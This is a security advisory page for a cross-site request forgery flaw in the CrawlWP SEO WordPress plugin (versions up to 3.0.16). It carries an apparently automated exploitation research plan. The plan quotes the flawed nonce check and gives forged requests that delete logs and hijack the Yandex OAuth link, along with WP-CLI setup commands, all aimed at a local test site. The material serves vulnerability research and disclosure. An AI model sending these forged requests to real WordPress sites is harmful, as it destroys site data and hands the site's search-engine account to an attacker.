CrawlWP SEO – Instant Search Engine Indexing & SEO Performance Monitor <= 3.0.16 - Cross-Site Request Forgery
Description
The CrawlWP SEO – Instant Search Engine Indexing & SEO Performance Monitor plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 3.0.16. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=3.0.16What Changed in the Fix
Changes introduced in v3.0.17
Source Code
WordPress.org SVNThis research plan details the exploitation of **CVE-2026-59520**, a Cross-Site Request Forgery (CSRF) vulnerability in the **CrawlWP SEO** plugin for WordPress. The vulnerability arises from a conditional nonce verification logic error and missing nonce checks on sensitive administrative functions.…
Show full research plan
This research plan details the exploitation of CVE-2026-59520, a Cross-Site Request Forgery (CSRF) vulnerability in the CrawlWP SEO plugin for WordPress. The vulnerability arises from a conditional nonce verification logic error and missing nonce checks on sensitive administrative functions.
1. Vulnerability Summary
The vulnerability is primarily located in the Mihdan\IndexNow\Views\Log_List_Table::bulk_action_handler method. This function implements a "conditional" nonce check: it only verifies the nonce if the _wpnonce parameter is present in the request. If the parameter is omitted entirely, the verification is skipped, and the function proceeds to perform the requested action (such as deleting logs).
Additionally, the Mihdan\IndexNow\Providers\Yandex\YandexWebmaster::get_api_token method, which handles OAuth token storage, is hooked to admin_init and lacks any nonce validation, allowing an attacker to overwrite the site's Yandex API tokens via a GET request.
2. Attack Vector Analysis
- Vulnerable Endpoints:
- Log Deletion:
/wp-admin/admin.php?page=crawlwp&wposa-menu=crawlwp_log(POST) - Yandex OAuth Hijacking:
/wp-admin/admin.php?page=crawlwp&code=[CODE]&state=yandex-webmaster(GET)
- Log Deletion:
- Authentication: Requires a victim with
manage_optionscapabilities (Administrator). - Payload Parameter:
- For Log Deletion:
action=deleteandlog_rows[](array of IDs). - For Yandex Hijacking:
code(attacker's OAuth code).
- For Log Deletion:
- Preconditions: The plugin must be active. For the OAuth attack, the plugin must be configured with a Client ID/Secret (or the attacker provides their own via CSRF to the settings page first).
3. Code Flow
- Entry Point: The
admin_inithook triggersMihdan\IndexNow\Views\Settings::setup_hooks. - Hook Registration:
Settings::setup_hooksregisters a callback onwpposa_load_menu_hook. - Instantiation: When an admin visits the plugin settings page with
wposa-menu=crawlwp_log, theLog_List_Tableclass is instantiated. - Vulnerable Sink: The
Log_List_Table::__constructcallsbulk_action_handler(). - Bypass Logic (
src/Views/Log_List_Table.php):private function bulk_action_handler() { global $wpdb; // BUG: Nonce is only verified IF it is provided. // If $_POST['_wpnonce'] is empty/unset, the check is bypassed. if ( ! empty($_POST['_wpnonce']) && ! wp_verify_nonce(wp_unslash($_POST['_wpnonce']), 'bulk-' . $this->_args['plural'])) { return; } // Action proceeds if nonce is omitted if (isset($_POST['log_rows']) && is_array($_POST['log_rows']) && 'delete' === $this->current_action()) { // ... deletion logic ... } }
4. Nonce Acquisition Strategy
No nonce is required for this exploit.
The vulnerability in the bulk_action_handler is a conditional bypass. By explicitly omitting the _wpnonce parameter from the POST request, the ! empty($_POST['_wpnonce']) condition evaluates to false, causing the security check to be skipped entirely.
For the Yandex OAuth vulnerability in src/Providers/Yandex/YandexWebmaster.php, there is no nonce check implemented at all.
5. Exploitation Strategy
This plan focuses on unauthorized log deletion to demonstrate the CSRF.
Step 1: Identify Log IDs
The attacker must know the IDs of the logs to delete. In a real-world scenario, an attacker might target a wide range of IDs (e.g., 1 to 100).
Step 2: Forge the CSRF Request
Use the http_request tool to simulate an administrator submitting a bulk deletion request without a nonce.
- URL:
http://localhost:8080/wp-admin/admin.php?page=crawlwp&wposa-menu=crawlwp_log - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=delete&log_rows%5B%5D=1&log_rows%5B%5D=2(URL-encodedaction=delete&log_rows[]=1&log_rows[]=2)
6. Test Data Setup
Before running the exploit, ensure there is data in the log table:
- Identify Table Name:
(Likelywp db tables | grep logswp_crawlwp_logsorwp_mihdan_index_now_log). - Insert Dummy Logs:
wp eval 'global $wpdb; $table = (new Mihdan\IndexNow\Logger\Logger(new Mihdan\IndexNow\Container()))->get_logger_table_name(); $wpdb->insert($table, ["message" => "Security Test", "created_at" => current_time("mysql")]);' - Verify Presence:
wp db query "SELECT * FROM wp_mihdan_index_now_log;"
7. Expected Results
- The
http_requestshould return a200 OKresponse (the WordPress admin page). - The log entries specified in the
log_rowsparameter should be deleted from the database. - No "Failure" or "Invalid Nonce" message should appear because the check was bypassed.
8. Verification Steps
After the exploit, verify the database state via WP-CLI:
# Check if the log entries still exist
wp db query "SELECT count(*) FROM wp_mihdan_index_now_log WHERE log_id IN (1, 2);"
# Expected output: 0
9. Alternative Approaches
Yandex OAuth Account Hijack:
Tricking the admin into clicking a link can force the site to link to an attacker-controlled Yandex account.
- URL:
http://localhost:8080/wp-admin/admin.php?page=crawlwp&code=ATTACKER_OAUTH_CODE&state=yandex-webmaster - Result: The plugin will attempt to save
ATTACKER_OAUTH_CODEand exchange it for tokens, overwriting any existing legitimate configuration.
Site Verification Reset:
The yandex_webmaster_find_website function in src/Providers/Yandex/YandexWebmaster.php also lacks a nonce.
- Payload: POST to
/wp-admin/admin.php?page=crawlwpwithsubmit_crawlwp_yandex_webmaster=1. - Result: Forces the plugin to re-run the website discovery logic and potentially change the
host_idsetting.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.